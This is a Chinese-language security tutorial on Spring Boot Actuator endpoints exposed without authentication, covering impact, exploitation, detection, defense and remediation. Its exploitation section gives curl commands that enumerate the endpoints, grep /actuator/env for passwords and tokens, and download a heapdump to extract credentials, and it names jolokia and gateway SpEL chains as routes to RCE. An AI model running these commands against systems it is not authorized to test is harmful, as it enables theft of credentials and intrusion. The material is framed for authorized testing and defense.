写在前面:合法学习边界
Actuator 端点利用只允许在授权环境进行。读取真实系统的密钥、dump 内存可能触犯法律。
一、漏洞原理
Spring Boot Actuator 默认暴露一系列管理端点,用于健康检查、配置查看、指标等。如果生产环境未认证就把端点暴露到公网,就变成信息泄露甚至 RCE 入口。
常见端点:
1
2
3
4
5
6
7
8
| /actuator # 端点列表
/actuator/env # 环境变量与配置(可能含密钥)
/actuator/heapdump # 堆内存 dump(可提取密码/Token)
/actuator/mappings # 接口列表
/actuator/beans # Bean 信息
/actuator/configprops
/actuator/jolokia # JMX 访问(可组合 RCE)
/actuator/gateway # 网关路由(配合 SpEL RCE)
|
二、影响与危害
1
2
3
4
| 数据库密码、AK/SK、Token 泄露
堆内存 dump 提取敏感凭据
接口信息暴露,扩大攻击面
组合端点直接 RCE(jolokia、gateway)
|
风险等级:高到严重。
三、利用 / 复现
端点枚举
1
2
3
4
5
| curl http://目标/actuator
curl http://目标/actuator/env
curl http://目标/actuator/health
curl http://目标/actuator/mappings
curl http://目标/actuator/beans
|
提取密钥
1
2
3
4
| # 环境变量/配置里的密码与 token
curl http://目标/actuator/env | grep -iE 'password|secret|key|token'
# heapdump 下载后用工具分析
curl -o heap.hprof http://目标/actuator/heapdump
|
组合 RCE
1
2
| jolokia:通过 JMX 执行操作(历史上有 RCE 链)
gateway:Spring Cloud Gateway 的 /actuator/gateway 路由注入 SpEL(见本站 Spring Cloud Gateway 篇)
|
复现操作步骤
1
2
3
4
| 第 1 步:探测 /actuator 与子端点(env/heapdump/mappings/beans)
第 2 步:env 里 grep 密钥关键字;heapdump 下载分析
第 3 步:有 gateway 端点 → 试 SpEL 路由注入
第 4 步:能读到密钥或执行命令 → 确认信息泄露/RCE
|
四、检测
1
2
3
4
| 探测 /actuator 及常见子端点是否存在
响应中泄露配置/堆栈/端点信息
日志中访问 /actuator 的异常来源
指纹确认 Spring Boot 版本
|
五、防御
1
2
3
4
| 生产环境禁用 Actuator 或仅内网访问
对端点加认证(management.endpoints.web.exposure.include 最小化)
敏感端点(env/heapdump)单独关闭
网关/外网隔离管理端口
|
六、修复
1
2
3
4
| 配置 management.endpoints.enabled-by-default=false,只开必要端点
添加 Spring Security 保护 /actuator/**
清理已泄露的密钥并轮换
修复后复测:未认证访问被拒
|
七、小结
Spring Boot 的 Actuator 是“双刃剑”:运维方便,暴露即灾难。它是 Spring 家族里最常见的信息泄露面,渗透时先扫 /actuator,防守时先关端点、再加认证。